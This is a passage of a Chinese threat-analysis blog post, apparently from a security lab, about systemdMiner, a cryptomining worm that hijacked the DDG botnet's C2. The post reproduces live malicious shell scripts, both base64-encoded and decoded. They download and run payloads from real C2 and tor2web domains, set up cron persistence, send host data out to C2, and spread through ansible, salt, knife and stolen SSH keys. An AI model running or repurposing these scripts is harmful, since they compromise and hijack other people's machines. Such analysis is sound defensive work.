systemdMiner 借鸡下蛋，通过 DDG 传播自身
<h2 id="1-"><strong>1. 概述</strong></h2><p>在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 <a href="__GHOST_URL__/fast-analyze-ddg-v3021-and-v3022/">威胁快讯</a> 一文中，我们提到了 DDG 最近在用的主 C2:</p><pre><code>119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China
</code></pre><p>2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。</p><p>鉴于这一套恶意程序的多个恶意组件均以 <code>systemd-&lt;XXX&gt;</code> 的形式命名，我们把它命名为 <strong>systemdMiner</strong> 。<strong>systemdMiner</strong> 的恶意程序具有蠕虫特性，会<strong>利用 3 种手段传播自身</strong>，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。</p><p>在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。</p><p>直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 <strong>CfgVer:25</strong> 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 <strong>systemdMiner </strong>的一组 C2 Domain。DDG v4000 的 2 个新 C2:</p><pre><code>109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --&gt; Main C&amp;C
104.128.230.16    AS62217|VooServers_Ltd|United States|New York
</code></pre><p><strong>systemdMiner</strong> 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同：</p><ul><li>DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 <strong>tor2web</strong> 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；</li><li>DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；</li><li>DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；</li><li>DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；</li><li>DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；</li><li>DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。</li></ul><p>基于以上原因，我们认为是 <strong>systemdMiner </strong>的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为<strong>借鸡下蛋</strong>。</p><p><strong>systemdMiner</strong> 的 3 种传播手段：</p><ol><li>利用 YARN 未授权访问漏洞入侵主机；</li><li>利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；</li><li>利用失陷主机本地保存的 SSH 密钥传播自身。</li></ol><p><strong>systemdMiner</strong> 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介：</p><ul><li><strong>systemd-login-ddg</strong>: 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；</li><li><strong>ddgs.i686</strong>: 同上；</li><li><strong>ddgs.x86_64</strong>: 同上；</li><li><strong>systemd-login</strong>: 同上；</li><li><strong>systemd-login-h</strong>: 同上；</li><li><strong>cron.sh</strong>: 定时任务执行脚本，定期下载主样本并执行；</li><li><strong>systemd.sh</strong>: 更新主样本和矿机程序；</li><li><strong>systemd-resolve</strong>: 集成 YARN 未授权访问漏洞来横向传播；</li><li><strong>systemd-analyze</strong>: 矿机程序。</li></ul><p><strong>systemdMiner</strong> 真正的 C2 服务器架设在暗网中，并通过一组类似 <strong>tor2web</strong> 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/dns_trend.png" class="kg-image" alt loading="lazy" title="dns_trend"></figure><h2 id="2-ddg-shell-"><strong>2. DDG “下的蛋”——最后的配置数据和 Shell 脚本</strong></h2><p>DDG 最新的配置数据：</p><pre><code>{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" &gt;&gt; /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}
</code></pre><p>最后下发的 i.sh 脚本：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" &gt; /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" &gt;&gt; /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" &gt; /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" &gt;&gt; /var/spool/cron/crontabs/root


cd /tmp
touch /usr/local/bin/writeable &amp;&amp; cd /usr/local/bin/
touch /usr/libexec/writeable &amp;&amp; cd /usr/libexec/
touch /usr/bin/writeable &amp;&amp; cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then

    curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce

ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9

echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash
</code></pre><p>其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本：</p><pre><code>exec &amp;&gt;/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts

d() {
    x=/systemd-login-ddg
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi
</code></pre><p>这段 Shell 脚本，首先检查 <code>/tmp/.X1M-unix</code> 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 <strong>systemd-login-ddg</strong> 文件并执行：</p><pre><code>aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg
</code></pre><p>除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL <code>http://119.9.106.27:8000/static/3022/ddgs.$(uname -m)</code> 下到的文件也被替换成 <strong>systemdMiner</strong> 相关的恶意程序。</p><p>这样一来，就可以通过 DDG 的这一波更新，下发 3 个 <strong>systemdMiner</strong> 的恶意程序：</p><ol><li>systemd-login-ddg</li><li>ddgs.i686</li><li>ddgs.x86_64</li></ol><h2 id="3-systemdminer-"><strong>3. systemdMiner 系列样本分析</strong></h2><h3 id="3-1-systemd-login-ddg"><strong>3.1 systemd-login-ddg</strong></h3><p><strong>systemd-login-ddg</strong> 是 <strong>systemdMiner</strong> 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 <strong>ddgs.i686</strong> 和 <strong>ddsg.x86_64</strong> 都是 <strong>systemd-login-ddg</strong> 的变种。顺着 <strong>systemd-login-ddg</strong> 的执行，后续还会涉及两个恶意程序，都是 <strong>systemd-login-ddg</strong> 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有：</p><ul><li>systemd-login</li><li>systemd-login-h</li></ul><p><strong>systemdMiner</strong> 相关的所有二进制样本，都由 <a href="https://www.musl-libc.org/">musl-libc</a> 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 <strong>0x7373622E</strong>(ASCII String: <strong><code>.bss</code></strong> ) ：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/packer.png" class="kg-image" alt loading="lazy" title="packer"></figure><p>脱壳后，恶意程序在刚开始就会检查 <strong>LD_PRELOAD</strong> 和 <strong>PTRACE_TRACEME</strong> ，用来对抗针对性地调试和沙箱：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/anti_analysis.png" class="kg-image" alt loading="lazy"></figure><p>然后，<strong>systemd-login-ddg</strong> 会删除自身文件，创建守护进程并把进程号写入 <code>/tmp/.X1M-unix</code> 文件，进程名为 <strong><code>-bash</code></strong>：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/create_daemon.png" class="kg-image" alt loading="lazy"></figure><p>接下来，<strong>systemd-login-ddg</strong> 会把下面的脚本保存到 <code>/tmp/systemd</code> 文件中：</p><pre><code>#!/bin/bash
exec &amp;&gt;/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash
</code></pre><p>上述脚本中的编码字串解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash
</code></pre><p>如果当前用户是 <strong>root</strong> ，样本还会探测 <code>/lib/systemd/</code> 目录，并执行命令 <code>cp -f /tmp/systemd /lib/systemd/systemd-login</code>，用于开机启动。</p><p>然后，执行命令 <code>mv -f /tmp/systemd ~/.systemd-login</code> 把 <strong>systemd</strong> 文件移动到用户主目录并隐藏。</p><p>上面用来开机启动执行的脚本文件 <code>/lib/systemd/systemd-login</code> ，会从 C2 服务器下载 <strong>cron.sh</strong> 文件并执行。<strong>cron.sh</strong> 是经过高度混淆的 Shell 脚本，原始内容如下：</p><pre><code>"${@%4}"$'\145v'${*%%5}al "$(rK=(\&amp; \ ${*,,} l H \|${*//t5/&amp;W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \&lt;${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/&gt;} \$${*/&amp;T} b t"${@^^}" P x \) X p${*/u} d \&gt;)&amp;&amp;for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"&lt;} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//&lt;Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##&gt;} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&amp;F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&amp;W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/&lt;} 42 38 45"${@~~}";do pr${*//&lt;}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"
</code></pre><p>解混淆后的真面目：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(&lt; /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi
</code></pre><p>最后，<strong>systemd-login-ddg</strong> 会继续执行一系列经过 Base64 编码的 Shell 脚本。</p><h4 id="3-1-1-shell-c2-"><strong>3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播</strong></h4><p>原始脚本经过 Base64 编码，解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

xssh() {
    ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}

s1() {
    x=/slave
    y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
    wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}

s2() {
    x=/systemd-resolve
    y=/tmp/systemd-resolve
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

s3() {
    if [ -x $(command -v ansible) ]; then
        ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v salt) ]; then
        salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v knife) ]; then
        knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
        hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
        for h in $hosts;do xssh root $h; xssh $USER $h &amp; done
    fi
}

s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3
</code></pre><p>该脚本共有 3 个关键函数，作用分别是：</p><ol><li><strong>s1()</strong> : 向 <code>rapid7cpfqnwxodo.tor2web.fyi/slave</code> 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 <strong>referer</strong> vaule，以 HTTP GET 请求的方式发送到 C2；</li><li><strong>s2()</strong>: 从 C2 下载 <strong>systemd-resolve</strong> 文件并执行，<strong>system-resolve</strong> 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；</li><li><strong>s3()</strong>: 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下：</li></ol><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 4
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi</code></pre><h4 id="3-1-2-shell-cron-"><strong>3.1.2 Shell 脚本二：设定 cron 任务</strong></h4><p>原始脚本同样经过 Base64 编码，解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    if [ -x $(command -v crontab) ]; then
        if [ $(crontab -l |grep REDIS00) ]; then
            crontab -r
        fi
        if ((!EUID)); then
            if [ ! -f "/etc/cron.d/systemd" ]; then
                echo "0 * * * * root /lib/systemd/systemd-login" &gt; /etc/cron.d/systemd
            fi
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        else
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        fi
    fi
}

c
</code></pre><p>该脚本的主要功能，是新建 cron 配置文件 <code>/etc/cron.d/systemd</code>，然后把 <strong>systemd-login-ddg</strong> 样本中落地的 <code>/lib/systemd/systemd-login</code> 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 <strong>wget</strong> 和 <strong>curl</strong> 命令，以此清除竞争对手的计划任务。</p><h4 id="3-1-3-shell-"><strong>3.1.3 Shell 脚本三：杀掉竞争对手</strong></h4><p>原始脚本同样经过 Base64 编码，解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

